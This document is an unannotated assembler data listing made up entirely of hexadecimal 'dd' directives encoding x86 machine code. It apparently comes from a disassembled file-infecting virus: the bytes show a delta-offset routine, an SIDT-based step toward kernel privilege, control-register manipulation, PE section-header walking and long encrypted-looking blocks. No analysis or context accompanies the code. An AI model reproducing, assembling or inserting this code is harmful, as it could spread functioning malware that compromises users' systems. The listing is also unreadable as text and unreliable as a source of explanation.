		dd 6A006A50h, 1858D00h,	5006AE9Dh, 9D83B5FFh, 95FF06AEh
		dd 6AC19D1h, 29BE858Dh,	8D5006AFh, 0AF29CC85h, 6A5006h
		dd 858D006Ah, 6AE9D13h,	83B5FF50h, 0FF06AE9Dh, 0AC19D195h
		dd 0BE858D06h, 5006AF29h, 29D8858Dh, 6A5006AFh,	8D006A00h
		dd 0AE9D6085h, 0B5FF5006h, 6AE9D83h, 19D195FFh,	858D06ACh
		dd 6AF29BEh, 0E0858D50h, 5006AF29h, 6A006Ah, 9D7E858Dh
		dd 0FF5006AEh, 0AE9D83B5h, 0D195FF06h, 8D06AC19h, 0AF29BE85h
		dd 858D5006h, 6AF29DCh,	6A006A50h, 67858D00h, 5006AE9Dh
		dd 9D83B5FFh, 95FF06AEh, 6AC19D1h, 29BE858Dh, 8D5006AFh
		dd 0AF29D085h, 6A5006h,	858D006Ah, 6AE9D6Fh, 83B5FF50h
		dd 0FF06AE9Dh, 0AC19D195h, 0BE858D06h, 5006AF29h, 29D4858Dh
		dd 6A5006AFh, 8D006A00h, 0AE9D7685h, 0B5FF5006h, 6AE9D83h
		dd 19D195FFh, 0B5FF06ACh, 6AE9D83h, 112195FFh, 0A2E906ACh
		dd 83000000h, 0AC0879BDh, 840F0006h, 95h, 161BD83h, 0F0006ACh
		dd 1185h, 0C5958B00h, 8106AC2Fh, 1CF8C2h, 0FE900h, 958D0000h
		dd 6AC1AF9h, 8134528Bh,	0D4C340C2h, 0D95893Bh, 8306AC1Ch
		dd 0AC1C0DBDh, 840F0006h, 55h, 1C0D9D8Bh, 0C38306ACh, 89038B4Ch
		dd 0AF29C885h, 0D9D8B06h, 8306AC1Ch, 38B50C3h, 29CC8589h
		dd 9D8B06AFh, 6AC1C0Dh,	8B54C383h, 0D8858903h, 8B06AF29h
		dd 0AC1C0D9Dh, 58C38306h, 8589038Bh, 6AF29DCh, 1C0D9D8Bh
		dd 0C38306ACh, 89038B5Ch, 0AF29D085h, 0ADBD8306h, 6AC2Ah
		dd 0D850Fh, 0BD830000h,	6AC0879h, 68840F00h, 0FF000000h
		dd 0AF29E0B5h, 0D4B5FF06h, 0FF06AF29h, 0AF29D0B5h, 0DCB5FF06h
		dd 0FF06AF29h, 0AF29D8B5h, 0CCB5FF06h, 0FF06AF29h, 0AF29C8B5h
		dd 0C2858D06h, 5006AF29h, 29FA858Dh, 8D5006AFh,	0AC2B7985h
		dd 95FF5006h, 6AC14F9h,	6A24C483h, 0E4858D40h, 5006AF29h
		dd 2B79858Dh, 6A5006ACh, 1995FF00h, 6A06AC0Fh, 0D195FF01h
		dd 8B06AC21h, 0D78B60C1h, 6AC08Bh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1C0424h, 51410000h, 6E05E2C3h, 0FCC26F33h
		dd 0E681156Fh, 39AE16A6h, 0BE8h, 3288BC00h, 5203D9C7h
		dd 83039834h, 8359DDB1h, 0AC1E85BDh, 9750006h, 0A29BD83h
		dd 740006ACh, 8B535019h, 40EB8C0h, 85890000h, 6AC0889h
		dd 0A2649D8Dh, 0D3FF06AEh, 0BD83585Bh, 6AC0A29h, 50177400h
		dd 40EB853h, 85890000h,	6AC0889h, 9F539D8Dh, 0D3FF06AEh
		dd 0A0B1585Bh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 19h,	3EC35747h, 977456B5h, 0C08BFC2Ch, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 19h, 0BBC35141h, 0FC1321DFh
		dd 0BD83F84Eh, 6AC0539h, 3D840F00h, 0F000000h, 32E9F1BFh
		dd 6A000002h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 15042444h, 41000000h, 0F4C8C351h, 0EBF6060h,	0BE6D8CEEh
		dd 7CD3FFCAh, 5E961h, 0BF370000h, 61E35959h, 9E8DF8Ch
		dd 0E1000000h, 0DABFA2BDh, 5D33C453h, 0BE9h, 31E8E400h
		dd 0AEE76D5Dh, 0EEEFB854h, 0C7F7665Eh, 850F0004h, 1D1h
		dd 1FF9BD83h, 0F0006ACh, 685h, 0BEE9F500h, 2B000001h, 49D981FFh
		dd 8D090232h, 0AF30389Dh, 57C0B906h, 66937E47h,	501CB7B9h
		dd 0E993BCB2h, 14h, 6DDF1734h, 7C29FA61h, 0FA49E44Dh, 87811541h
		dd 0BE883819h, 35FF64h,	0BA000000h, 404910EEh, 258964h
		dd 6A000000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 14042444h, 42000000h, 0F92AC352h, 0C48B56B2h, 3860Fh
		dd 8B660000h, 5E9CBh, 0A71E0000h, 0CD4E49E0h, 8B00EB01h
		dd 52006ACFh, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1A04h
		dd 0C3524200h, 0DB54BFDCh, 6029AE22h, 7E9D88Bh,	6A000000h
		dd 71941453h, 646170B9h, 58Fh, 6A0000h,	3E856h,	5E200000h
		dd 74895EC3h, 44810424h, 170424h, 56460000h, 525CDDC3h
		dd 0AC03BE27h, 0C4834DA0h, 0BD78B04h, 0D2840FC0h, 6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1C042444h
		dd 40000000h, 8A5DC350h, 0A53ABBC8h, 66F6BC74h,	6110EABAh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 0C2C35040h
		dd 0C2BD8D56h, 6606AC70h, 0B84D71BAh, 1, 21CE8166h, 6AE7FFF2h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 16042444h
		dd 41000000h, 0BAB6C351h, 0AE9C0h, 728B0000h, 0CE0582FFh
		dd 0AC21CED6h, 245C8B57h, 0B8838B10h, 0F000000h, 0FE0140B6h
		dd 0B08389C8h, 83000000h, 0B883h, 335F0200h, 6AC3C0h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
		dd 8FB3E0C3h, 0BA498E56h, 320251A3h, 6A61F8h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 160424h, 55450000h, 0CF0B5C3h
		dd 8B61F960h, 56006AC0h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1B04h, 0C3564600h, 0FF4B98ECh, 630027A5h, 1E85BD83h
		dd 750006ACh, 29BD8309h, 6AC0Ah, 53501974h, 0EB8C08Bh
		dd 89000004h, 0AC0C0185h, 0CB9D8D06h, 0FF06AEA2h, 83585BD3h
		dd 0AC0A29BDh, 17740006h, 0EB85350h, 89000004h,	0AC0C0185h
		dd 6C9D8D06h, 0FF06AE9Fh, 6A585BD3h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 0A810C355h
		dd 0A5EA3775h, 8BE88AA4h, 38D0FC0h, 0F000000h, 0C28BC9BFh
		dd 0CE8h, 83EB0A00h, 68050C95h,	55BBE9B9h, 5E02B16Ch, 0C485D281h
		dd 0C68113D9h, 5ADBh, 33D2BF0Fh, 8BC88BDBh, 13E81E04h
		dd 0AD000000h, 7592CD73h, 3630529h, 39A1A39Ch, 2A834A17h
		dd 8C0F3F13h, 5, 2C9B74B9h, 0F0815F66h,	4C4FC14Bh, 57CA8166h
		dd 0F0E8819Ah, 0E95ABECAh, 9, 56BDED60h, 85BD42ACh, 0C2F081E0h
		dd 8B1F3DCBh, 1E0489F8h, 668BD280h, 832CCCBFh, 0F58002EBh
		dd 664B4B78h, 0FB81CE8Bh, 0FFFFA5B4h, 0FF91850Fh, 0CB8BFFFFh
		dd 0F31718EBh, 9B46h, 4	dup(0)
		dd 0BE90000h, 60000002h, 24245C8Bh, 0E8h, 0ED815D00h, 6AF3205h
		dd 4C261h, 0FFFFE6E9h, 0C26160FFh, 0F6E90008h, 60FFFFFFh
		dd 8C261h, 0FFFFF6E9h, 0C26160FFh, 0F6E90008h, 60FFFFFFh
		dd 8C261h, 0FFFFF6E9h, 0FFh, 0
		dd 0C3616000h, 0FFFFF8E9h, 3DB58BFFh, 8106AF32h, 0FFF000E6h
		dd 0BE9FFh, 19E80000h, 81000000h, 1000C6h, 41B53B00h, 0F06AF32h
		dd 0FFFFE986h, 0D8200FFFh, 0CFD8220Fh, 50C36160h, 24C88C66h
		dd 0FC00A03h, 1984h, 0BB535000h, 2, 1C0D858Bh, 188606ACh
		dd 850FDB0Ah, 0FFFFFFF6h, 0FF58585Bh, 0E9C32404h, 0FFFFFFCFh
		dd 2474FF50h, 995FF08h,	5006AC22h, 244C010Fh, 0C08358FEh
		dd 5C8B531Ch, 89660C24h, 8966FC58h, 665B0258h, 324C88Ch
		dd 840FC00Ah, 9, 1C0D858Bh, 0C606ACh, 4FF5800h,	4C224h
		dd 0FFFFBBE9h, 665053FFh, 0E380CB8Ch, 0FDB0A03h, 3884h
		dd 2BB00h, 858B0000h, 6AC1C0Dh,	0DB0A1886h, 0FFF6850Fh
		dd 85C7FFFFh, 6AC097Dh,	0
aLdLs		db '▀D$',8,'▀≤',0
		db 10h
		dd 98890000h, 1000h, 1889188Bh,	0AE9h, 7D85C700h, 6AC09h
		dd 58000001h, 2404FF5Bh, 0FFA3E9C3h, 8060FFFFh,	840F003Eh
		dd 31h,	3AB7A1BBh, 0B101B076h, 13E901h,	8AAC0000h, 32C302C8h
		dd 0AACBD1C3h, 840FD20Bh, 1, 0FC90A4Ah,	0FFFFE585h, 0FD20BFFh
		dd 0FFFFDD85h, 52C361FFh, 8B57D48Bh, 0C033087Ah, 1E9h
		dd 3F80AA00h, 0F6850F00h, 5FFFFFFFh, 4C25Ah, 33565153h
		dd 0E9DB33C0h, 10h, 0D1D833ACh,	0BCC381D3h, 8A37465Ah
		dd 49D3D3C8h, 850FC90Bh, 0FFFFFFE8h, 595EC38Bh,	0BB60C35Bh
		dd 763AB7A1h, 11E901B0h, 0AC000000h, 0C32AC332h, 0BAACBD1h
		dd 1840FD2h, 4A000000h,	850FC00Ah, 0FFFFFFE7h, 850FD20Bh
		dd 0FFFFFFDFh, 8C66C361h, 0F04A8D8h, 2984h, 0E285C700h
		dd 106AF31h, 50000000h,	244C010Fh, 0E6858FFEh, 8D06AF31h
		dd 0AF31DE85h, 0E6BD8D06h, 8906AF31h, 23E938h, 858D0000h
		dd 6AC1AF9h, 538408Bh, 9B46F317h, 31DE8589h, 858D06AFh
		dd 6AC1AF9h, 893C408Bh,	0AF31E285h, 0FB858D06h,	8906AF31h
		dd 0AC220985h, 87E906h,	8B520000h, 728B60D4h, 0C7A8B08h
		dd 45CAB2B8h, 7E9A9h, 6000000h,	0C8D10630h, 0FF73B46h
		dd 0FFFFF182h, 0C25A61FFh, 8B520008h, 728B60D4h, 0C7A8B08h
		dd 45CAB2B8h, 7E9A9h, 6300000h,	0C8D10628h, 0FF73B46h
		dd 0FFFFF182h, 0C25A61FFh, 8B520008h, 535156D4h, 728BDB33h
		dd 0C4A8B08h, 13E9h, 2D3CAC00h,	0A840Fh, 98040000h, 0D8321334h
		dd 4908C3C1h, 850FC90Bh, 0FFFFFFE5h, 595BC38Bh,	8C25A5Eh
		dd 6E858D00h, 8906AF34h, 0AC1C6585h, 96858D06h,	8906AF34h
		dd 0AC1B6985h, 0BE858D06h, 8906AF34h, 0AC131D85h, 8EB06h
		dd 0
		dd 0E9000000h, 7Bh, 10F5260h, 5AFE244Ch, 8B24C283h, 0AC016185h
		dd 0BE858D06h, 8B06AF81h, 888B08h, 8B000010h, 4A8B660Ah
		dd 1F8D89FCh, 8306AF35h, 0AC1FF9BDh, 840F0006h,	0Fh, 0FF006A60h
		dd 0AC214595h, 0C4E96106h, 66FFFFFFh, 0C1FC7289h, 896610CEh
		dd 0CD520272h, 85895A04h, 6AF351Bh, 351FB58Bh, 0CEC106AFh
		dd 72896610h, 1FB58B02h, 6606AF35h, 61FC7289h, 351B858Bh
		dd 8DC306AFh, 0AC179195h, 0D958906h, 8906AC1Ch,	0AC05A995h
		dd 0A985FF06h, 0C606AC05h, 0AC333985h, 0D8685306h, 0FFFCB148h
		dd 0AC1281B5h, 0FF858D06h, 0FF06AC3Ah, 458589D0h, 8D06AC21h
		dd 0AF321585h, 0D1858906h, 0E906AC2Eh, 51h, 24748B60h
		dd 3C760324h, 28247C8Bh, 0C281D68Bh, 0F8h, 64E8B66h, 83C9B70Fh
		dd 840F00F9h, 16h, 0F0C7A3Bh, 158Fh, 28EA8300h,	8B0C428Bh
		dd 0C12B144Ah, 7C89F82Bh, 0C2611C24h, 0C2830008h, 850F4928h
		dd 0FFFFFFCFh, 0FFFFE9E9h, 0FD3EBAFFh, 0EB0009h, 5F8E9h
		dd 5ECE900h, 35680000h,	0E906AF37h, 0FFFD47C8h,	0AF383868h
		dd 47BEE906h, 0B968FFFDh, 0E906AF38h, 0FFFD47B4h, 0AF399868h
		dd 47AAE906h, 0D968FFFDh, 0E906AF3Ah, 0FFFD47A0h, 3AFB33DEh
		dd 68A9658Ah, 3BFA32D8h, 6AAB638Bh, 3AFB33DAh, 1AF1BE47h
		dd 799323E2h, 20CC7CBDh, 749525E4h, 613079B8h, 0E3FF7ED2h
		dd 35E4C3E8h, 6FAF6785h, 5DC04CC5h, 0EF933603h,	93363A6Eh
		dd 0A11243EFh, 0EF93366Bh, 26159CB0h, 0EF9336F1h, 9336C018h
		dd 36F22BEFh, 0BF19EF93h, 0C86F9336h, 0A0499178h, 200EA464h
		dd 0E2884CA9h, 54E78231h, 0D8F4652Fh, 9F57BB0Bh, 1474E64Ch
		dd 2901BD2Ch, 44CD85BDh, 8866D687h, 0AF268C4Ch,	7BBB739Fh
		dd 65B6DC18h, 0AC628434h, 7BF151B7h, 0D5153BE0h, 20C5F67Fh
		dd 2D6BDBB3h, 2AA5E901h, 734FE86Ch, 42B3Fh, 4C886B00h
		dd 14D03D8Dh, 4F8765D5h, 16CE3E8Eh, 4C8867D7h, 7A09F08Dh
		dd 2A9A5B93h, 75C504C0h, 2C9C5D99h, 8BC203BBh, 0FF3369DAh
		dd 5F78E8E3h, 71AD5ED3h, 0C3FB12A2h, 0E43D884Ah, 98EF9335h
		dd 0C268CCB8h, 49F583EFh, 0A090191Ah, 0EC5C8F47h, 8B48C1FDh
		dd 0DA1AD23Bh, 83437B6Ch, 0EA07B7E6h, 16A5F232h, 0EF928BC2h
		dd 840D230Fh, 7697CAA6h, 7F2E7FBEh, 928B98CCh, 0F02CC0EFh
		dd 0CB42CBE7h, 0C0BBE54Fh, 38145h, 0C8249400h, 5E09850Ch
		dd 4B171ADh, 0EF9335CDh, 0A3F692B0h, 0A4608E4Ah, 21E0CE64h
		dd 568A3968h, 9BEF9335h, 2DC177B7h, 678030F1h, 9E2D7CAFh
		dd 0EF93354Ah, 0F032BB97h, 0F8395393h, 39F519A9h, 0EADA53F9h
		dd 0B305C501h, 0EF5C9D59h, 0EF9335B5h, 31F12DDFh, 2FFC9652h
		dd 2F24699Ch, 4518B2E5h, 5C0D4308h, 4D5C049h, 3F4761B7h
		dd 0AC82AEF6h, 0BF990044h, 84C8F461h, 328h, 92538B66h
		dd 0D011CD22h, 93528A60h, 0D213CB23h, 92538B62h, 0B25916EFh
		dd 0E10BBB7Ah, 0B854E425h, 0DC0DBD7Ch, 0F9A8E120h, 0E3FE164Ah
		dd 0F07C5BE8h, 0A271AD5Eh, 360C40F3h, 6151EF93h, 0EB624C88h
		dd 0AA6E9F29h, 64A48A42h, 3DFC38D2h, 9336168Eh,	25A3FDEFh
		dd 1BCDEF93h, 3E9623E3h, 73EF9345h, 3D9320B7h, 82EF9345h
		dd 0B76F9CAEh, 84F94A99h, 9E52F49h, 0A38DCD25h,	7B4761BFh
		dd 2A737h, 0D00CE700h, 904CA111h, 0D30BE151h, 924AA212h
		dd 0D00CE353h, 0D6956C11h, 8E3EFF37h, 0D161A05Ch, 0F040813Dh
		dd 571EDF17h, 0FD5FB506h, 8BACE8E3h, 0DE0FBF07h, 0C54CE626h
		dd 18D814F5h, 41813DAEh, 0B7EA8624h, 0E5F9E56h,	19904CBEh
		dd 0BB4F1490h, 18F242C0h, 3FB61CDCh, 229B0h, 15BF3C00h
		dd 0B506F2ABh, 0EF92B35Fh, 71A880ACh, 0EA0331F3h, 0D158F232h
		dd 92B2AAE2h, 7B3ED2EFh, 29E925CBh, 0B25EB283h,	72A3EF92h
		dd 92B28BC1h, 0D2FCD0EFh, 618D3DFCh, 3FD365A5h,	73224787h
		dd 64ED29C3h, 9B772A46h, 2FABA263h, 7BC0BBCCh, 5D58D4D1h
		dd 924BBAEEh, 32B07EFh,	0F37A9A6Ah, 4F7Ch, 4F8BF000h, 0B2A7E423h
		dd 0AA84C4B8h, 0D8FBCA79h, 0AC80E52Eh, 0BF4D0C44h, 0B0FCC061h
		dd 1C8h, 32F32BC6h, 70B16D82h, 33F22AC0h, 72B36B83h, 32F32BC2h
		dd 12F9B64Fh, 41AB1BDAh, 18F44485h, 3CAD1DDCh, 59084180h
		dd 0E3FCB6EAh, 50DCFBE8h, 0A2CB3E44h, 3A48C48h,	99714380h
		dd 74C7965Dh, 0EF9323E8h, 69A54575h, 507EB65Bh,	0EFCA2690h
		dd 9324085Ch, 577955EFh, 0F4C52696h, 93241147h,	5C725EEFh
		dd 553FFF9Ch, 0CC82494h, 508C7DCDh, 3DDD3383h, 7BD111CDh
		dd 0D3F9555h, 6FAD24E0h, 0CE7F9238h, 0DE248A05h, 0B4856757h
		dd 9281D107h, 1C321EEFh, 75C594DDh, 0D15894h, 0CD09E151h
		dd 1C0C86E5h, 2BA27ED2h, 9327C418h, 3567CDEFh, 9C6A7738h
		dd 0CAE6F37Ah, 964EBC0Ah, 9AF03257h, 0DAFEEC5Ah, 11D0FE36h
		dd 93096AA2h, 0E98347EFh, 2930893Ah, 91BDE52Fh,	0E11DF242h
		dd 0B36B8232h, 1EBD973h, 26AF05C5h, 7CB855E5h, 2EE60ABCh
		dd 0E509B9EEh, 0CA43E929h, 7D410FAh, 29AFE556h,	2EC3F63Fh
		dd 538CA80Ah, 0AE270B1Ch, 668B3B6Ch, 0F91727AEh, 0B25EEE3Dh
		dd 5231F37Ah, 7E2FFC96h, 3E5097CDh, 41C8E4F6h, 9C71C190h
		dd 8FDAE960h, 9CEBDA5Dh, 0D49E58B0h, 0FAC6686Ah, 87B6h
		dd 0B06C8700h, 0F02CC171h, 0B36B8131h, 0F22AC272h, 0B06C8333h
		dd 0B6F50C71h, 0EE5E9F57h, 0B101C0FCh, 0D060A15Dh, 773EFF37h
		dd 0FB3F9526h, 0AB8CE8E3h, 71AD5E27h, 28E607B1h, 51A3C7E5h
		dd 0A3634D49h, 0CA2797C6h, 0CDB99B12h, 66A75F88h, 0BB94EB6Fh
		dd 10E1C0h, 5D6D0000h, 0EF933604h, 82437B6Ch, 1AC8h, 35DC200h
		dd 6DEF9336h, 2407467Ch, 0D5BE6C5Dh, 92E83266h,	7D537FEFh
		dd 579E9253h, 2E5DDh, 7F0D0000h, 0BB7BB35Eh, 0E020DC0Dh
		dd 0C202BA56h, 9A5A9274h, 0C101BD2Ch, 9C5C9877h, 0CA0AC22Ah
		dd 96568E7Ch, 0D313CB20h, 0E28952DDh, 4C281h, 0EA830000h
		dd 24148704h, 242C895Ch, 81E38953h, 4C3h, 4EB8100h, 87000000h
		dd 895C241Ch, 8951240Ch, 4C181E1h, 81000000h, 4E9h, 240C8700h
		dd 242C895Ch, 43BC6853h, 835B6D46h, 0EBC101EBh,	45C38104h
		dd 89FFDAD2h, 0EC815BD9h, 4, 81242489h,	42404h,	505D0000h
		dd 7CFB6855h, 0F75D2F0Fh, 0A0F581D5h, 0C147D36Ah, 0F58104EDh
		dd 9723E92h, 15DE889h, 580889E8h, 51242C8Bh, 0C181E189h
		dd 4, 8704C183h, 8B5C240Ch, 8957240Ch, 4C781E7h, 83000000h
		dd 3C8704C7h, 0E9E95C24h, 96FFFD41h, 85B8AFDCh,	306AF3Bh
		dd 0EBD18BC5h, 20h, 7 dup(0)
		dd 57CE900h, 70E90000h,	68000005h, 6AF3DFAh, 0FD41A7E9h
		dd 3E8F68FFh, 9DE906AFh, 68FFFD41h, 6AF4075h, 0FD4193E9h
		dd 40E368FFh, 89E906AFh, 0C9FFFD41h, 9F2FEE26h,	0CB7BBA72h
		dd 9828E925h, 0C575B470h, 522FEE26h, 0B16D9CABh, 0EE26C070h
		dd 0BB739F2Fh, 0E521CA7Ah, 8F3C6D24h, 0E8E3F959h, 5E0D81A6h
		dd 17A774B0h, 1E72C1F8h, 63EF9336h, 0DA1614Fh, 0B75BD10Dh
		dd 9C153BD2h, 0D1B1EB5Eh, 65416F92h, 2A69ED09h,	2C6340BBh
		dd 0EF000000h, 9336045Dh, 6CDC8DEFh, 2177467Eh,	6EEF9336h
		dd 0EA2ECB42h, 0B2025380h, 0F75D9D59h, 4AB44D7Eh, 95B9E522h
		dd 361E54h, 0BF140000h,	2E265C15h, 7CF5F0B9h, 92B6154Fh
		dd 46EAAEFh, 1C2C86D7h,	0A76E6AF5h, 0E21AF0C2h,	13A1586Bh
		dd 84AEE522h, 0D20AC74Ch, 5ED99084h, 0F570F99Fh, 3834F5DBh
		dd 0B474B05Eh, 9335C601h, 359FB06Fh, 36EAE1F0h,	0D1F37ADBh
		dd 0D20AE0B5h, 0C2B47613h, 0C1FDEF2Bh, 0AB85AB01h, 0F820C878h
		dd 35F5DB13h, 74C7169Fh, 6F92B91Ch, 349E4D61h, 41F6C5F0h
		dd 36F47D01h, 6EAF6780h, 76A5CF0Bh, 0A2409427h,	0A18D6F92h
		dd 0B34AF928h, 0B8652EA2h, 84AA6288h, 0A497F144h, 7F5B763Eh
		dd 0DA73F713h, 6D79B9EFh, 0F5000000h, 0D3394F8Bh, 55E6351Bh
		dd 0E52240E3h, 78B45868h, 0D7358556h, 0F747961Fh, 0A70DDE16h
		dd 978011C6h, 35D5E76Bh, 3B370F9h, 13DA32EAh, 5D61C290h
		dd 3312D61h, 49A40000h,	0FFC4C8Dh, 48A616D7h, 0DFD4D8Ch
		dd 49A010D1h, 0C8314C8Dh, 599854BBh, 6C7FFE9h, 63A25AB6h
		dd 43823AD3h, 0B4E85B0Ah, 0F9E8E3F8h, 0FCA452DEh, 0AE000002h
		dd 0A774B05Eh, 4AC3FB17h, 35E33D88h, 560EEF93h,	0BDEF9336h
		dd 0EF933666h, 9336538Dh, 0FBEC5CEFh, 53B503C3h, 0DFF15B9Bh
		dd 372B6556h, 0FE56EF93h, 0B32F9336h, 7DCE1D77h, 0A5221DC5h
		dd 9F35E6CAh, 0E30A788Ch, 0AC6EE791h, 0B2610BCFh, 0DE005C01h
		dd 0A54D61ABh, 286E7CFEh, 9C440834h, 0D1000002h, 0F747863Eh
		dd 9323E21Ah, 3080417Dh, 6DDD1CD8h, 0FA87467Eh,	69A54403h
		dd 36EE18A8h, 73AB47F7h, 2DE902B2h, 47F4A5ECh, 0E8E3F811h
		dd 5EF5795Eh, 12A271ADh, 77B53CF8h, 58BCD014h, 9845EF9h
		dd 0BCED3E10h, 929CD90Fh, 37EF03EFh, 664A5DF7h,	188D3EEFh
		dd 0E5E521B1h, 0D8518734h, 51BBF641h, 0E8FF5595h, 6839EAC4h
		dd 41D885DBh, 6FE6CAF6h, 36EE1CACh, 6BA947F7h, 33C51D6Fh
		dd 0D360B34Bh, 0F641597Dh, 13C0EEC2h, 599BF142h, 0CCE0F641h
		dd 20E48745h, 2C02BA56h, 6BA34FFFh, 87E807ABh, 0B11B25FEh
		dd 96C7169Fh, 8108C426h, 0D09DE7B2h, 19D8F4EBh,	0F0C572AAh
		dd 0E18B4FFCh, 0DA108132h, 0F1DDF27Fh, 8CC07322h, 0D103A001h
		dd 15A574FDh, 49F938F4h, 11A464A0h, 3A00187h, 994A20E4h
		dd 2257BC8h, 466A03A0h,	4759F56Eh, 0A1286B58h, 4D26C370h
		dd 72BF92Eh, 488464D4h,	47A010C1h, 78B16A89h, 0DCF20BB2h
		dd 0F0C5A50Fh, 0BE353ED3h, 0A344F437h, 0E300A56Dh, 78879EB5h
		dd 0DA810ED6h, 0DCDE3CDh, 4ECB30B8h, 0E3894D0Ah, 0DFD68330h
		dd 0F7DBFFDDh, 0BB739424h, 0F834D868h, 0E902B271h, 4A8EED2Dh
		dd 0B9F5EB26h, 78567752h, 4C50FAABh, 3BB5062h, 0F4E9B42Bh
		dd 0CFB74E7Dh, 15C4068Ch, 0ACF772A6h, 0BD93BF17h, 0F790C87Dh
		dd 466217ACh, 714ACE2Ah, 2D7E175Dh, 0AF000000h,	40582005h
		dd 845B73ABh, 18D0449h,	9329035Dh, 6DDD8CEFh, 2276477Fh
		dd 0ABEF9353h, 9352C418h, 322509EFh, 75D971Eh, 57000000h
		dd 932C035Dh, 4F8BD1EFh, 14A7F625h, 0EF9335C0h,	79A8210Dh
		dd 224A57CAh, 0DB0824E5h, 7745816Bh, 33995995h,	0DF1B78BAh
		dd 4CD566B5h, 0D1EBDE67h, 0E25415FDh, 427E686Eh, 0B60Eh
		dd 0CC82B00h, 54907DCDh, 0FC72595h, 568E7ECEh, 0CC82797h
		dd 3A49B0CDh, 6ADA1BD3h, 35854480h, 6CDC1DD9h, 0CB82437Bh
		dd 0F5F3299Ah, 1F38E8E3h, 254F8B93h, 0F617A7F6h, 1184B73Eh
		dd 0DEE5224Ah, 0C37021F2h, 0F642718Dh, 0DE57F8D2h, 0F2F6AE51h
		dd 0F49755DCh, 39895A30h, 4C9D14D0h, 0DE9ABEFFh, 7EFC3EBh
		dd 686F1B78h, 48125E62h, 0BD000000h, 0EB5B9A52h, 0BF0FCE06h
		dd 0E4549551h, 0B909C804h, 265B9A52h, 0BD7990DFh, 0E21ACC7Ch
		dd 477F9323h, 19D53686h, 73C091D8h, 0E8E3F61Dh,	0A4C94562h
		dd 13h,	0A15BFAEh, 0ABA798FCh, 0C4017EE1h, 9BB51825h, 5E0E7C12h
		dd 0DBB7BB3h, 56E020DCh, 74C202BAh, 2C9A5A92h, 77C101BDh
		dd 2A9C5C98h, 7CCA0AC2h, 2096568Eh, 0DDD313CBh,	563568h
		dd 24048900h, 0B0868h, 241C8900h, 5E08950h, 4, 8704E883h
		dd 895C2404h, 40BB2414h, 5375B86Dh, 5B240CFFh, 0A7EB814Bh
		dd 686F0930h, 606Dh, 83242489h,	5A042404h, 24048153h, 22D873B1h
		dd 5508428Fh, 0D873B1BDh, 86A2922h, 24148B5Dh, 81E18951h
		dd 4C1h, 4C18100h, 87000000h, 8B5C240Ch, 8951241Ch, 4C181E1h
		dd 81000000h, 4C1h, 240C8700h, 3C4AE95Ch, 8D9AFFFDh, 8BDA073Ah
		dd 0B8743699h, 6AF4150h, 0C88BC503h, 156E9h, 0F6C09F00h
		dd 95ECE76Ch, 715893DAh, 0B6CFDF06h, 5D54FDBEh,	0ECA43636h
		dd 5DD500BCh, 76D352C5h, 0FC94A4D6h, 0AEC44100h, 77CB50C1h
		dd 0ACAC3252h, 46BF009Ch, 90ADFC6Ch, 0A3365973h, 72E275D6h
		dd 90BD9Ch, 8CE693DDh, 0A592A79Bh, 0A7ABDD64h, 918F9792h
		dd 0F95CFC7Ah, 0B1E496B9h, 47E4B59Bh, 0E592B69Fh, 0BDF694B6h
		dd 0B3EBB59Eh, 93D0EC96h, 97BF999Ch, 0F55CFD7Bh, 0AFF49389h
		dd 0B2CD00EDh, 0E594A6E3h, 0C3B5D4h, 622D4457h,	0AE29B0F3h
		dd 38h,	3Ch, 40h, 2 dup(0)
		dd 4, 94h, 5, 1, 0A28h,	2, 26h dup(0)
		dd 0E9000000h, 1E83h, 0AF456568h, 3ACEE906h, 5A68FFFDh
		dd 0E906AF46h, 0FFFD3AC4h, 0AF474768h, 3ABAE906h, 1968FFFDh
		dd 0E906AF48h, 0FFFD3AB0h, 0AF490968h, 3AA6E906h, 0BE68FFFDh
		dd 0E906AF49h, 0FFFD3A9Ch, 0AF4A8468h, 3A92E906h, 1E68FFFDh
		dd 0E906AF4Bh, 0FFFD3A88h, 0AF4EB268h, 3A7EE906h, 1E68FFFDh
		dd 0E906AF4Fh, 0FFFD3A74h, 0AF506368h, 3A6AE906h, 3D68FFFDh
		dd 0E906AF53h, 0FFFD3A60h, 0AF568368h, 3A56E906h, 8E68FFFDh
		dd 0E906AF59h, 0FFFD3A4Ch, 0AF5B0E68h, 3A42E906h, 6168FFFDh
		dd 0E906AF5Bh, 0FFFD3A38h, 0AF5BAC68h, 3A2EE906h, 168FFFDh
		dd 0E906AF5Ch, 0FFFD3A24h, 0AF5D9D68h, 3A1AE906h, 7F68FFFDh
		dd 0E906AF5Eh, 0FFFD3A10h, 0AF603368h, 3A06E906h, 0A944FFFDh
		dd 0EF1CAC6Dh, 0A846F637h, 0ED1DAD6Ch, 0A940F031h, 28D1AC6Dh
		dd 0F938F41Bh, 0A6679F49h, 3C2FA16h, 63A25AB3h,	94C87B2Ah
		dd 0D9E8E3F1h, 0AD5E72FEh, 0E607B171h, 0EBEEF2Eh, 46A32AE2h
		dd 883BE882h, 0E52F27D5h, 0A1F6361Ah, 540D43F0h, 7E52F63Fh
		dd 538CC4F7h, 0B96EF63Fh, 54055BE8h, 7E6FF63Fh,	0F47D5146h
		dd 0DA5EBAD6h, 9039E8A9h, 0D313CB20h, 4B7FF079h, 0F3000000h
		dd 0F6254F8Bh, 2F3BF445h, 0BDECBDE5h, 3F3FDA0Eh, 3A0B27F6h
		dd 0F63F3FE6h, 0BD63EB14h, 92858AC5h, 0A25A8CBEh, 0C1123E2Bh
		dd 6C35206Bh, 96A427Ah,	0BA7299F4h, 6ADF1D94h, 0F63FB332h
		dd 6C88E4C0h, 39E8CCE8h, 0D2E0h, 0FBF6C00h, 40EA2AE2h
		dd 0D410F9C9h, 9955B707h, 458541ABh, 0F3A466EFh, 0B777AF43h
